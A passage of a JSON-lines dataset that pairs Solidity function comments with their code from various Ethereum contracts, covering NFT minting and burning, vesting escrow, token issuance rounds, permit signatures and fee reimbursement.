discreet tokens.\"\r\n );\r\n\r\n if (msg.sender == address(originalSet)) {\r\n require(\r\n tokenId < 0x240,\r\n \"discreet: only accepts original set discreet tokens with metadata\"\r\n );\r\n _safeMint(from, tokenId);\r\n } else {\r\n require(\r\n tokenId < 0x120,\r\n \"discreet: only accepts extra set discreet tokens with metadata\"\r\n );\r\n _safeMint(from, tokenId + 0x240);\r\n }\r\n\r\n return this.onERC721Received.selector;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Mint a given discreet NFT if it is currently available.\r\n */", "function_code": "function mint(uint256 tokenId) external override {\r\n require(\r\n tokenId < 0x510,\r\n \"discreet: cannot mint out-of-range token\"\r\n );\r\n\r\n if (tokenId < 0x360) {\r\n require(\r\n block.number >= migrationEnds,\r\n \"discreet: cannot mint tokens from original or extra set until migration is complete.\"\r\n );\r\n }\r\n\r\n _safeMint(msg.sender, tokenId);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Mint a given NFT if it is currently available to a given address.\r\n */", "function_code": "function mint(address to, uint256 tokenId) external override {\r\n require(\r\n tokenId < 0x510,\r\n \"discreet: cannot mint out-of-range token\"\r\n );\r\n\r\n if (tokenId < 0x360) {\r\n require(\r\n block.number >= migrationEnds,\r\n \"discreet: cannot mint tokens from original or extra set until migration is complete.\"\r\n );\r\n }\r\n\r\n _safeMint(to, tokenId);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Burn a given discreet NFT if it is owned, approved or reclaimable.\r\n * Tokens become reclaimable after ~4 million blocks without a transfer.\r\n */", "function_code": "function burn(uint256 tokenId) external override {\r\n require(\r\n tokenId < 0x510,\r\n \"discreet: cannot burn out-of-range token\"\r\n );\r\n\r\n // Only enforce check if tokenId has not reached reclaimable threshold.\r\n if (!isReclaimable(tokenId)) {\r\n require(\r\n _isApprovedOrOwner(msg.sender, tokenId),\r\n \"discreet: caller is not owner nor approved\"\r\n );\r\n }\r\n\r\n _burn(tokenId);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Derive and return a tokenURI json payload formatted as a\r\n * data URI.\r\n */", "function_code": "function tokenURI(uint256 tokenId) external view virtual override returns (string memory) {\r\n string memory json = Base64.encode(\r\n bytes(\r\n string(\r\n abi.encodePacked(\r\n '{\"name\": \"discreet #',\r\n _toString(tokenId),\r\n '\", \"description\": \"One of 1296 distinct images, stored and derived ',\r\n 'entirely on-chain, that comprise the discreet.eth collection. It ',\r\n 'will become reclaimable if 4,194,304 blocks elapse without this ',\r\n 'token being minted or transferred.\", \"image\": \"',\r\n tokenImageURI(tokenId),\r\n '\"}'\r\n )\r\n )\r\n )\r\n );\r\n\r\n return string(abi.encodePacked('data:application/json;base64,', json));\r\n }", "version": "0.8.7"} {"comment": "// @notice sets current round goal amount\n// @dev the current deposit must be less than or equal to goal\n// @dev only issuance manager role can call this function\n// @param _newGoal the new goal amount to set the current round to", "function_code": "function setCurrentRoundGoal(uint256 _newGoal)\n external\n nonReentrant\n onlyRole(ISSUANCE_MANAGER)\n onlyStage(Stages.Started, currentRoundId)\n {\n uint256 totalDeposit = roundData[currentRoundId].totalDeposit;\n require(\n totalDeposit <= _newGoal,\n \"issuance: total deposit must be <= goal\"\n );\n roundData[currentRoundId].goal = _newGoal;\n if (totalDeposit == _newGoal) {\n _setCurrentRoundStage(Stages.GoalMet);\n }\n }", "version": "0.8.0"} {"comment": "// @notice purchase a ticket of an amount in denominated asset into current round\n// @dev user should only have one ticket per round\n// @dev the contract must not be paused\n// @dev only once round has started and goal has not been met", "function_code": "function purchaseTicket(uint256 _amount)\n external\n nonReentrant\n whenNotPaused\n onlyStage(Stages.Started, currentRoundId)\n {\n require(_amount > 0, \"issuance: amount can't be zero\");\n denomAsset.safeTransferFrom(msg.sender, address(this), _amount);\n uint256 _totalDeposit = roundData[currentRoundId].totalDeposit +\n _amount;\n uint256 goal = roundData[currentRoundId].goal;\n uint256 realAmount = _amount;\n if (_totalDeposit > goal) {\n uint256 change = _totalDeposit - goal;\n realAmount -= change;\n roundData[currentRoundId].totalDeposit += realAmount;\n _setCurrentRoundStage(Stages.GoalMet);\n // send the excess amount back to caller\n denomAsset.transfer(msg.sender, change);\n }\n if (_totalDeposit == goal) {\n roundData[currentRoundId].totalDeposit += realAmount;\n _setCurrentRoundStage(Stages.GoalMet);\n }\n if (_totalDeposit < goal) {\n roundData[currentRoundId].totalDeposit += realAmount;\n }\n // create user ticket\n if (!userTicket[currentRoundId][msg.sender].exists) {\n userTicket[currentRoundId][msg.sender] = Ticket({\n amount: realAmount,\n redeemed: false,\n exists: true\n });\n } else {\n // or increment user ticket's amount\n userTicket[currentRoundId][msg.sender].amount += realAmount;\n }\n emit PurchaseTicket(msg.sender, realAmount);\n }", "version": "0.8.0"} {"comment": "// @notice use the round's deposited assets to issue new vault tokens\n// @dev only callable from issuance manager\n// @dev can only issue for current round and after the goal is met", "function_code": "function issue()\n external\n nonReentrant\n onlyRole(ISSUANCE_MANAGER)\n onlyStage(Stages.GoalMet, currentRoundId)\n {\n // approve vault and deposit\n uint256 amount = roundData[currentRoundId].totalDeposit;\n denomAsset.safeApprove(vault, amount);\n uint256 mintedVaultTokens = IXPN(vault).deposit(amount);\n // update the round with the current totalShares returned from deposit\n roundData[currentRoundId].totalShares = mintedVaultTokens;\n // ensure the new shares balance has been incremented correctly\n _setCurrentRoundStage(Stages.End);\n _toNextRound();\n }", "version": "0.8.0"} {"comment": "// @notice redeem the round ticket for vault tokens\n// @param _roundId the identifier of the round\n// @dev the round must have ended and vault tokens are issued", "function_code": "function redeemTicket(uint256 _roundId)\n external\n nonReentrant\n onlyStage(Stages.End, _roundId)\n {\n // ensure the user ticket exists in the round specified\n Ticket memory ticket = userTicket[_roundId][msg.sender];\n RoundData memory round = roundData[_roundId];\n require(ticket.exists, \"issuance: user ticket does not exist\");\n require(\n !ticket.redeemed,\n \"issuance: user vault tokens have been redeemed\"\n );\n // calculate the shares of user to the current round shares using the proportion of their deposit\n uint256 claimable = ((round.totalShares * ticket.amount) /\n round.totalDeposit);\n // transfer the share of vault tokens to end user.\n userTicket[_roundId][msg.sender].redeemed = true;\n vaultToken.safeTransfer(msg.sender, claimable);\n emit RedeemTicket(msg.sender, claimable);\n }", "version": "0.8.0"} {"comment": "/// @notice Pause recipient vesting\n/// @dev This freezes the vesting schedule for the paused recipient.\n/// Recipient will NOT be able to claim until unpaused.\n/// Only owner of the vesting escrow can invoke this function.\n/// Can only be invoked if the escrow is NOT terminated.\n/// @param recipient The recipient address for which vesting will be paused.", "function_code": "function pauseRecipient(address recipient) external onlyOwner escrowNotTerminated isNonZeroAddress(recipient) {\n // current recipient status should be UnPaused\n require(recipients[recipient].recipientVestingStatus == Status.UnPaused, \"pauseRecipient: cannot pause\");\n // set vesting status of the recipient as Paused\n recipients[recipient].recipientVestingStatus = Status.Paused;\n // set lastPausedAt timestamp\n recipients[recipient].lastPausedAt = block.timestamp;\n }", "version": "0.7.6"} {"comment": "/// @notice UnPause recipient vesting\n/// @dev This unfreezes the vesting schedule for the paused recipient. Recipient will be able to claim.\n/// In order to keep vestingPerSec for the recipient a constant, cliffDuration and endTime for the\n/// recipient are shifted by the pause duration so that the recipient resumes with the same state\n/// at the time it was paused.\n/// Only owner of the vesting escrow can invoke this function.\n/// Can only be invoked if the escrow is NOT terminated.\n/// @param recipient The recipient address for which vesting will be unpaused.", "function_code": "function unPauseRecipient(address recipient) external onlyOwner escrowNotTerminated isNonZeroAddress(recipient) {\n // current recipient status should be Paused\n require(recipients[recipient].recipientVestingStatus == Status.Paused, \"unPauseRecipient: cannot unpause\");\n // set vesting status of the recipient as \"UnPaused\"\n recipients[recipient].recipientVestingStatus = Status.UnPaused;\n // calculate the time for which the recipient was paused for\n uint256 pausedFor = block.timestamp.sub(recipients[recipient].lastPausedAt);\n // extend the cliffDuration by the pause duration\n recipients[recipient].cliffDuration = recipients[recipient].cliffDuration.add(pausedFor);\n // extend the endTime by the pause duration\n recipients[recipient].endTime = recipients[recipient].endTime.add(pausedFor);\n }", "version": "0.7.6"} {"comment": "/// @notice Terminate recipient vesting\n/// @dev This terminates the vesting schedule for the recipient forever.\n/// Recipient will NOT be able to claim.\n/// Only owner of the vesting escrow can invoke this function.\n/// Can only be invoked if the escrow is NOT terminated.\n/// @param recipient The recipient address for which vesting will be terminated.", "function_code": "function terminateRecipient(address recipient) external onlyOwner escrowNotTerminated isNonZeroAddress(recipient) {\n // current recipient status should NOT be Terminated\n require(recipients[recipient].recipientVestingStatus != Status.Terminated, \"terminateRecipient: cannot terminate\");\n // claim for the user if possible\n if (canClaim(recipient)) {\n // transfer unclaimed tokens to the recipient\n _claimFor(claimableAmountFor(recipient), recipient);\n // transfer locked tokens to the SAFE_ADDRESS\n }\n uint256 _bal = recipients[recipient].totalVestingAmount.sub(recipients[recipient].totalClaimed);\n IERC20(token).safeTransfer(SAFE_ADDRESS, _bal);\n // set vesting status of the recipient as \"Terminated\"\n recipients[recipient].recipientVestingStatus = Status.Terminated;\n }", "version": "0.7.6"} {"comment": "// claim tokens for a specific recipient", "function_code": "function _claimFor(uint256 _amount, address _recipient) internal {\n // get recipient\n Recipient storage recipient = recipients[_recipient];\n\n // recipient should be able to claim\n require(canClaim(_recipient), \"_claimFor: recipient cannot claim\");\n\n // max amount the user can claim right now\n uint256 claimableAmount = claimableAmountFor(_recipient);\n\n // amount parameter should be less or equal to than claimable amount\n require(_amount <= claimableAmount, \"_claimFor: cannot claim passed amount\");\n\n // increase user specific totalClaimed\n recipient.totalClaimed = recipient.totalClaimed.add(_amount);\n\n // user's totalClaimed should NOT be greater than user's totalVestingAmount\n require(recipient.totalClaimed <= recipient.totalVestingAmount, \"_claimFor: cannot claim more than you deserve\");\n\n // increase global totalClaimed\n totalClaimed = totalClaimed.add(_amount);\n\n // totalClaimed should NOT be greater than total totalAllocatedSupply\n require(totalClaimed <= totalAllocatedSupply, \"_claimFor: cannot claim more than allocated to escrow\");\n\n // transfer the amount to the _recipient\n IERC20(token).safeTransfer(_recipient, _amount);\n }", "version": "0.7.6"} {"comment": "/// @notice Check if a recipient address can successfully invoke claim.\n/// @dev Reverts if the recipient is a zero address.\n/// @param recipient A zero address recipient address.\n/// @return bool representing if the recipient can successfully invoke claim.", "function_code": "function canClaim(address recipient) public view isNonZeroAddress(recipient) returns (bool) {\n Recipient memory _recipient = recipients[recipient];\n\n // terminated recipients cannot claim\n if (_recipient.recipientVestingStatus == Status.Terminated) {\n return false;\n }\n\n // In case of a paused recipient\n if (_recipient.recipientVestingStatus == Status.Paused) {\n return _recipient.lastPausedAt >= _recipient.startTime.add(_recipient.cliffDuration);\n }\n\n // In case of a unpaused recipient, recipient can claim if the cliff duration (inclusive) has passed.\n return block.timestamp >= _recipient.startTime.add(_recipient.cliffDuration);\n }", "version": "0.7.6"} {"comment": "/// @notice Get total locked tokens of a specific recipient.\n/// @dev Reverts if any of the recipients is terminated.\n/// @param recipient A non-terminated recipient address.\n/// @return Total locked tokens of a specific recipient.", "function_code": "function totalLockedOf(address recipient) public view recipientIsNotTerminated(recipient) returns (uint256) {\n // get recipient\n Recipient memory _recipient = recipients[recipient];\n\n // We know that vestingPerSec is constant for a recipient for entirety of their vesting period\n // locked = vestingPerSec*(endTime-max(lastPausedAt, startTime+cliffDuration))\n if (_recipient.recipientVestingStatus == Status.Paused) {\n if (_recipient.lastPausedAt >= _recipient.endTime) {\n return 0;\n }\n return\n _recipient.vestingPerSec.mul(\n _recipient.endTime.sub(\n Math.max(_recipient.lastPausedAt, _recipient.startTime.add(_recipient.cliffDuration))\n )\n );\n }\n\n // Nothing is locked if the recipient passed the endTime\n if (block.timestamp >= _recipient.endTime) {\n return 0;\n }\n\n // in case escrow is terminated, locked amount stays the constant\n if (ESCROW_TERMINATED) {\n return\n _recipient.vestingPerSec.mul(\n _recipient.endTime.sub(\n Math.max(ESCROW_TERMINATED_AT, _recipient.startTime.add(_recipient.cliffDuration))\n )\n );\n }\n\n // We know that vestingPerSec is constant for a recipient for entirety of their vesting period\n // locked = vestingPerSec*(endTime-max(block.timestamp, startTime+cliffDuration))\n if (_recipient.recipientVestingStatus == Status.UnPaused) {\n return\n _recipient.vestingPerSec.mul(\n _recipient.endTime.sub(Math.max(block.timestamp, _recipient.startTime.add(_recipient.cliffDuration)))\n );\n }\n }", "version": "0.7.6"} {"comment": "/// @notice Allows owner to transfer the ERC20 assets (other than token) to the \"to\" address in case of any emergency\n/// @dev It is assumed that the \"to\" address is NOT malicious\n/// Only owner of the vesting escrow can invoke this function.\n/// Reverts if the asset address is a zero address or the token address.\n/// Reverts if the to address is a zero address.\n/// @param asset Address of the ERC20 asset to be rescued\n/// @param to Address to which all ERC20 asset amount will be transferred\n/// @return rescued Total amount of asset transferred to the SAFE_ADDRESS.", "function_code": "function inCaseAssetGetStuck(address asset, address to) external onlyOwner returns (uint256 rescued) {\n // asset address should NOT be a 0 address\n require(asset != address(0), \"inCaseAssetGetStuck: asset cannot be 0 address\");\n // asset address should NOT be the token address\n require(asset != token, \"inCaseAssetGetStuck: cannot withdraw token\");\n // to address should NOT a 0 address\n require(to != address(0), \"inCaseAssetGetStuck: to cannot be 0 address\");\n // transfer all the balance of the asset this contract hold to the \"to\" address\n rescued = IERC20(asset).balanceOf(address(this));\n IERC20(asset).safeTransfer(to, rescued);\n }", "version": "0.7.6"} {"comment": "/// @notice Transfers the dust to the SAFE_ADDRESS.\n/// @dev It is assumed that the SAFE_ADDRESS is NOT malicious.\n/// Only owner of the vesting escrow can invoke this function.\n/// @return Amount of dust to the SAFE_ADDRESS.", "function_code": "function transferDust() external onlyOwner returns (uint256) {\n // precaution for reentrancy attack\n if (dust > 0) {\n uint256 _dust = dust;\n dust = 0;\n IERC20(token).safeTransfer(SAFE_ADDRESS, _dust);\n return _dust;\n }\n return 0;\n }", "version": "0.7.6"} {"comment": "/// @notice Transfers the locked (non-vested) tokens of the passed recipients to the SAFE_ADDRESS\n/// @dev It is assumed that the SAFE_ADDRESS is NOT malicious\n/// Only owner of the vesting escrow can invoke this function.\n/// Reverts if any of the recipients is terminated.\n/// Can only be invoked if the escrow is terminated.\n/// @param _recipients An array of non-terminated recipient addresses.\n/// @return totalSeized Total tokens seized from the recipients.", "function_code": "function seizeLockedTokens(address[] calldata _recipients) external onlyOwner returns (uint256 totalSeized) {\n // only seize if escrow is terminated\n require(ESCROW_TERMINATED, \"seizeLockedTokens: escrow not terminated\");\n // get the total tokens to be seized\n for (uint256 i = 0; i < _recipients.length; i++) {\n // only seize tokens from the recipients which have not been seized before\n if (!lockedTokensSeizedFor[_recipients[i]]) {\n totalSeized = totalSeized.add(totalLockedOf(_recipients[i]));\n lockedTokensSeizedFor[_recipients[i]] = true;\n }\n }\n // transfer the totalSeized amount to the SAFE_ADDRESS\n IERC20(token).safeTransfer(SAFE_ADDRESS, totalSeized);\n }", "version": "0.7.6"} {"comment": "// Controller only function for creating additional rewards from dust", "function_code": "function withdraw(IERC20 _asset) external returns (uint256 balance) {\r\n require(msg.sender == controller, \"!controller\");\r\n require(want != address(_asset), \"want\");\r\n require(crv != address(_asset), \"crv\");\r\n require(ydai != address(_asset), \"ydai\");\r\n require(dai != address(_asset), \"dai\");\r\n balance = _asset.balanceOf(address(this));\r\n _asset.safeTransfer(controller, balance);\r\n }", "version": "0.5.17"} {"comment": "// --- Primary Functions ---", "function_code": "function sellGem(address usr, uint256 gemAmt) external {\r\n uint256 gemAmt18 = mul(gemAmt, to18ConversionFactor);\r\n uint256 fee = mul(gemAmt18, tin) / WAD;\r\n uint256 daiAmt = sub(gemAmt18, fee);\r\n gemJoin.join(address(this), gemAmt, msg.sender);\r\n vat.frob(ilk, address(this), address(this), address(this), int256(gemAmt18), int256(gemAmt18));\r\n vat.move(address(this), vow, mul(fee, RAY));\r\n daiJoin.exit(usr, daiAmt);\r\n\r\n emit SellGem(usr, gemAmt, fee);\r\n }", "version": "0.6.7"} {"comment": "/// start exceptions", "function_code": "function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external {\r\n if (isFunding) revert();\r\n if (_fundingStartBlock >= _fundingStopBlock) revert();\r\n if (block.number >= _fundingStartBlock) revert();\r\n\r\n fundingStartBlock = _fundingStartBlock;\r\n fundingStopBlock = _fundingStopBlock;\r\n isFunding = true;\r\n }", "version": "0.4.26"} {"comment": "// migrate to Contract address", "function_code": "function migrate() external {\r\n if(isFunding) revert();\r\n if(newContractAddr == address(0x0)) revert();\r\n\r\n uint256 tokens = balances[msg.sender];\r\n if (tokens == 0) revert();\r\n\r\n balances[msg.sender] = 0;\r\n tokenMigrated = safeAdd(tokenMigrated, tokens);\r\n\r\n IMigrationContract newContract = IMigrationContract(newContractAddr);\r\n if (!newContract.migrate(msg.sender, tokens)) revert();\r\n\r\n emit Migrate(msg.sender, tokens); // log it\r\n }", "version": "0.4.26"} {"comment": "// let Contract token allocate to the address", "function_code": "function allocateToken (address _addr, uint256 _eth) isOwner external {\r\n if (_eth == 0) revert();\r\n if (_addr == address(0x0)) revert();\r\n\r\n uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate);\r\n if (tokens + tokenRaised > currentSupply) revert();\r\n\r\n tokenRaised = safeAdd(tokenRaised, tokens);\r\n balances[_addr] += tokens;\r\n\r\n emit AllocateToken(_addr, tokens); // log token record\r\n }", "version": "0.4.26"} {"comment": "// buy token", "function_code": "function () payable public{\r\n if (!isFunding) revert();\r\n if (msg.value == 0) revert();\r\n\r\n if (block.number < fundingStartBlock) revert();\r\n if (block.number > fundingStopBlock) revert();\r\n\r\n uint256 tokens = safeMult(msg.value, tokenExchangeRate);\r\n if (tokens + tokenRaised > currentSupply) revert();\r\n\r\n tokenRaised = safeAdd(tokenRaised, tokens);\r\n balances[msg.sender] += tokens;\r\n\r\n emit IssueToken(msg.sender, tokens); // log record\r\n }", "version": "0.4.26"} {"comment": "// Single Address - Multiple Tokens _mintBatch", "function_code": "function mintSingleToMultipleBatch(address to, uint256[] memory ids, bytes memory data) public onlyOwner {\r\n uint256 _length= ids.length;\r\n uint256[] memory amounts = new uint256[](_length);\r\n for (uint256 i = 0; i < ids.length; i++) {\r\n require(!tokenCheck[ids[i]], \"Token with this ID already exists\");\r\n }\r\n for (uint256 i = 0; i < ids.length; i++) {\r\n tokenCheck[ids[i]] = true;\r\n amounts[i]= 1;\r\n }\r\n _mintBatch(to, ids, amounts, data);\r\n }", "version": "0.8.7"} {"comment": "// Single Address - Multiple Tokens", "function_code": "function mintSingleToMultiple(address account, uint256[] memory ids) public onlyOwner {\r\n for (uint256 i = 0; i < ids.length; i++) {\r\n require(!tokenCheck[ids[i]], \"Token with this ID already exists\");\r\n _mint(account, ids[i], 1, \"\");\r\n tokenCheck[ids[i]] = true;\r\n }\r\n }", "version": "0.8.7"} {"comment": "// Main function. Allows user (msg.sender) to withdraw funds from DAO.\n// _amount - amount of DAO tokens to exhange\n// _token - token of DAO to exchange\n// _targetToken - token to receive in exchange\n// _optimisticPrice - an optimistic price of DAO token. Used to check if DAO Agent\n// have enough funds on it's balance. Is not used to calculare\n// use returns", "function_code": "function withdraw(\n uint256 _amount,\n address _token,\n address _targetToken,\n uint256 _optimisticPrice,\n uint256 _optimisticPriceTimestamp,\n bytes memory _signature\n )\n public\n withValidOracleData(\n _token,\n _optimisticPrice,\n _optimisticPriceTimestamp,\n _signature\n )\n isWhitelisted(_targetToken)\n {\n // Require that amount is positive\n //\n require(_amount > 0, \"ZERO_TOKEN_AMOUNT\");\n\n _checkUserBalance(_amount, _token, msg.sender);\n\n // Require that an agent have funds to fullfill request (optimisitcally)\n // And that this contract can withdraw neccesary amount of funds from agent\n //\n uint256 optimisticAmount = computeExchange(\n _amount,\n _optimisticPrice,\n _targetToken\n );\n \n _doWithdraw(\n _amount,\n _token,\n _targetToken,\n msg.sender,\n optimisticAmount\n );\n\n // Emit withdraw success event\n //\n emit WithdrawSuccessEvent(\n _token,\n _amount,\n _targetToken,\n optimisticAmount,\n msg.sender,\n _optimisticPrice,\n _optimisticPriceTimestamp\n );\n }", "version": "0.8.4"} {"comment": "// Validates oracle price signature\n//", "function_code": "function recover(\n uint256 _price,\n uint256 _timestamp,\n address _token,\n bytes memory _signature\n ) public pure returns (address) {\n bytes32 dataHash = keccak256(\n abi.encodePacked(_price, _timestamp, _token)\n );\n bytes32 signedMessageHash = keccak256(\n abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", dataHash)\n );\n (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature);\n address signer = ecrecover(signedMessageHash, v, r, s);\n return signer;\n }", "version": "0.8.4"} {"comment": "// Computes an amount of _targetToken that user will get in exchange for\n// a given amount for DAO tokens\n// _amount - amount of DAO tokens\n// _price - price in 6 decimals per 10e18 of DAO token\n// _targetToken - target token to receive\n//", "function_code": "function computeExchange(\n uint256 _amount,\n uint256 _price,\n address _targetToken\n ) public view returns (uint256) {\n IERC20Metadata targetToken = IERC20Metadata(_targetToken);\n uint256 result = _amount * _price / 10 ** (24 - targetToken.decimals());\n require(result > 0, \"INVALID_TOKEN_AMOUNT\");\n return result;\n }", "version": "0.8.4"} {"comment": "// Call function processFee() at the end of main function for correct gas usage calculation.\n// txGas - is gasleft() on start of calling contract. Put `uint256 txGas = gasleft();` as a first command in function\n// feeAmount - fee amount that user paid\n// licenseeVault - address that licensee received on registration and should provide when users comes from their site\n// user - address of user who has to get reimbursement (usually msg.sender)", "function_code": "function processFee(uint256 txGas, uint256 feeAmount, address licenseeVault, address user) internal {\r\n if (address(reimbursementContract) == address(0)) {\r\n payable(user).transfer(feeAmount); // return fee to sender if no reimbursement contract\r\n return;\r\n }\r\n\r\n uint256 licenseeFeeRate = reimbursementContract.getLicenseeFee(licenseeVault, address(this));\r\n uint256 companyFeeRate = reimbursementContract.getLicenseeFee(companyVault, address(this));\r\n uint256 licenseeFeeAmount = (feeAmount * licenseeFeeRate)/(licenseeFeeRate + companyFeeRate);\r\n if (licenseeFeeAmount != 0) {\r\n address licenseeFeeTo = reimbursementContract.requestReimbursement(user, licenseeFeeAmount, licenseeVault);\r\n if (licenseeFeeTo == address(0)) {\r\n payable(user).transfer(licenseeFeeAmount); // refund to user\r\n } else {\r\n payable(licenseeFeeTo).transfer(licenseeFeeAmount); // transfer to fee receiver\r\n }\r\n }\r\n feeAmount -= licenseeFeeAmount; // company's part of fee\r\n\r\n txGas -= gasleft(); // get gas amount that was spent on Licensee fee\r\n txGas = txGas * tx.gasprice;\r\n // request reimbursement for user\r\n reimbursementContract.requestReimbursement(user, feeAmount+txGas, companyVault);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Multiplies two unsigned integers, returns 2^256 - 1 on overflow.\r\n */", "function_code": "function mulCap(uint _a, uint _b) internal pure returns (uint) {\r\n // Gas optimization: this is cheaper than requiring '_a' not being zero, but the\r\n // benefit is lost if '_b' is also tested.\r\n // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522\r\n if (_a == 0)\r\n return 0;\r\n\r\n uint c = _a * _b;\r\n return c / _a == _b ? c : UINT_MAX;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev call by the owner, set/unset bulk _addresses into the blacklist\r\n */", "function_code": "function setBlacklistBulk(address[] calldata _addresses, bool _bool) public onlyOwner {\r\n require(_addresses.length != 0, \"Blacklisted: the length of addresses is zero\");\r\n\r\n for (uint256 i = 0; i < _addresses.length; i++)\r\n {\r\n setBlacklist(_addresses[i], _bool);\r\n }\r\n }", "version": "0.7.1"} {"comment": "// for compatibility for older versions", "function_code": "function changeMPCOwner(address newVault) external returns (bool) {\r\n\r\n // require vault has access now //\r\n require(hasRole(OPERATOR_ROLE, _msgSender()) || \r\n _msgSender() == vault\r\n ,\"DOES NOT HAVE RIGHT TO CHANGE VAULT\");\r\n\r\n vault = newVault;\r\n // give vault minting burning swapin and swapout rights //\r\n\r\n return true;\r\n \r\n }", "version": "0.8.7"} {"comment": "/// @dev Sets `value` as allowance of `spender` account over `owner` account's AnyswapV3ERC20 token, given `owner` account's signed approval.\n/// Emits {Approval} event.\n/// Requirements:\n/// - `deadline` must be timestamp in future.\n/// - `v`, `r` and `s` must be valid `secp256k1` signature from `owner` account over EIP712-formatted function arguments.\n/// - the signature must use `owner` account's current nonce (see {nonces}).\n/// - the signer cannot be zero address and must be `owner` account.\n/// For more information on signature format, see https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP section].\n/// AnyswapV3ERC20 token implementation adapted from https://github.com/albertocuestacanada/ERC20Permit/blob/master/contracts/ERC20Permit.sol.", "function_code": "function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {\r\n require(block.timestamp <= deadline, \"AnyswapV3ERC20: Expired permit\");\r\n\r\n bytes32 hashStruct = keccak256(\r\n abi.encode(\r\n PERMIT_TYPEHASH,\r\n target,\r\n spender,\r\n value,\r\n nonces[target]++,\r\n deadline));\r\n\r\n require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));\r\n\r\n _approve(target, spender, value);\r\n emit Approval(target, spender, value);\r\n \r\n }", "version": "0.8.7"} {"comment": "// function to change the swapAndLiquify contract // ", "function_code": "function setSwapAndLiquifyContractAddress(address newAddress) public onlyOperator {\r\n address oldAddress = swap_and_liquify_contract;\r\n swap_and_liquify_contract = newAddress;\r\n\r\n // Approve the new router to spend contract's tokens.\r\n _approve(address(this), newAddress, MAX_INT);\r\n \r\n // Reset approval on old router. and prevent failure if address is not set/ set to address(0)\r\n if (oldAddress != address(0)){\r\n _approve(address(this), oldAddress, 0);\r\n }\r\n \r\n }", "version": "0.8.7"} {"comment": "// Retrieves rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity for provided tAmount.", "function_code": "function _getValues(uint256 tAmount, bool takeFee) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {\r\n if(!takeFee) {\r\n uint256 rTokens = tAmount * _getRate();\r\n return (rTokens, rTokens, 0, tAmount, 0, 0, 0);\r\n }\r\n (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);\r\n _RValues memory r = _getRValues(tAmount, tFee, tLiquidity, _getRate());\r\n return (r.rAmount, r.rTransferAmount, r.rFee, tTransferAmount, tFee, tLiquidity, r.rLiquidity);\r\n }", "version": "0.8.7"} {"comment": "/**\n * @notice Change the paused state of the contract\n * @dev Only the contract owner may call this.\n */", "function_code": "function setPaused(bool _paused) external onlyOwner {\n // Ensure we're actually changing the state before we do anything\n if (_paused == paused) {\n return;\n }\n\n // Set our paused state.\n paused = _paused;\n\n // If applicable, set the last pause time.\n if (paused) {\n lastPauseTime = now;\n }\n\n // Let everyone know that our pause state has changed.\n emit PauseChanged(paused);\n }", "version": "0.5.16"} {"comment": "// Transfers `amountIn` token to mint `amountIn - fees` of currencyKey.\n// `amountIn` is inclusive of fees, calculable via `calculateMintFee`.", "function_code": "function mint(uint amountIn) external notPaused issuanceActive {\n require(amountIn <= token.allowance(msg.sender, address(this)), \"Allowance not high enough\");\n require(amountIn <= token.balanceOf(msg.sender), \"Balance is too low\");\n require(!exchangeRates().rateIsInvalid(currencyKey), \"Currency rate is invalid\");\n\n uint currentCapacity = capacity();\n require(currentCapacity > 0, \"Contract has no spare capacity to mint\");\n\n uint actualAmountIn = currentCapacity < amountIn ? currentCapacity : amountIn;\n\n (uint feeAmountTarget, bool negative) = calculateMintFee(actualAmountIn);\n uint mintAmount = negative ? actualAmountIn.add(feeAmountTarget) : actualAmountIn.sub(feeAmountTarget);\n\n // Transfer token from user.\n bool success = _safeTransferFrom(address(token), msg.sender, address(this), actualAmountIn);\n require(success, \"Transfer did not succeed\");\n\n // Mint tokens to user\n _mint(mintAmount);\n\n emit Minted(msg.sender, mintAmount, negative ? 0 : feeAmountTarget, actualAmountIn);\n }", "version": "0.5.16"} {"comment": "// Burns `amountIn` synth for `amountIn - fees` amount of token.\n// `amountIn` is inclusive of fees, calculable via `calculateBurnFee`.", "function_code": "function burn(uint amountIn) external notPaused issuanceActive {\n require(amountIn <= IERC20(address(synth())).balanceOf(msg.sender), \"Balance is too low\");\n require(!exchangeRates().rateIsInvalid(currencyKey), \"Currency rate is invalid\");\n require(totalIssuedSynths() > 0, \"Contract cannot burn for token, token balance is zero\");\n\n (uint burnFee, bool negative) = calculateBurnFee(targetSynthIssued);\n\n uint burnAmount;\n uint amountOut;\n if (negative) {\n burnAmount = targetSynthIssued < amountIn ? targetSynthIssued.sub(burnFee) : amountIn;\n\n amountOut = burnAmount.multiplyDecimal(\n // -1e18 <= burnFeeRate <= 1e18 so this operation is safe\n uint(int(SafeDecimalMath.unit()) - burnFeeRate())\n );\n } else {\n burnAmount = targetSynthIssued.add(burnFee) < amountIn ? targetSynthIssued.add(burnFee) : amountIn;\n amountOut = burnAmount.divideDecimal(\n // -1e18 <= burnFeeRate <= 1e18 so this operation is safe\n uint(int(SafeDecimalMath.unit()) + burnFeeRate())\n );\n }\n\n uint feeAmountTarget = negative ? 0 : burnAmount.sub(amountOut);\n\n // Transfer token to user.\n bool success = _safeTransferFrom(address(token), address(this), msg.sender, amountOut);\n require(success, \"Transfer did not succeed\");\n\n // Burn\n _burn(burnAmount);\n\n emit Burned(msg.sender, amountOut, feeAmountTarget, burnAmount);\n }", "version": "0.5.16"} {"comment": "// **** Emergency functions ****\n// **** Internal functions ****", "function_code": "function _swapUniswap(\r\n address _from,\r\n address _to,\r\n uint256 _amount\r\n ) internal {\r\n require(_to != address(0));\r\n\r\n address[] memory path;\r\n\r\n if (_to == mmToken && buybackEnabled == true) {\r\n if(_from == zrxBuyback){\r\n path = new address[](4);\r\n path[0] = _from;\r\n 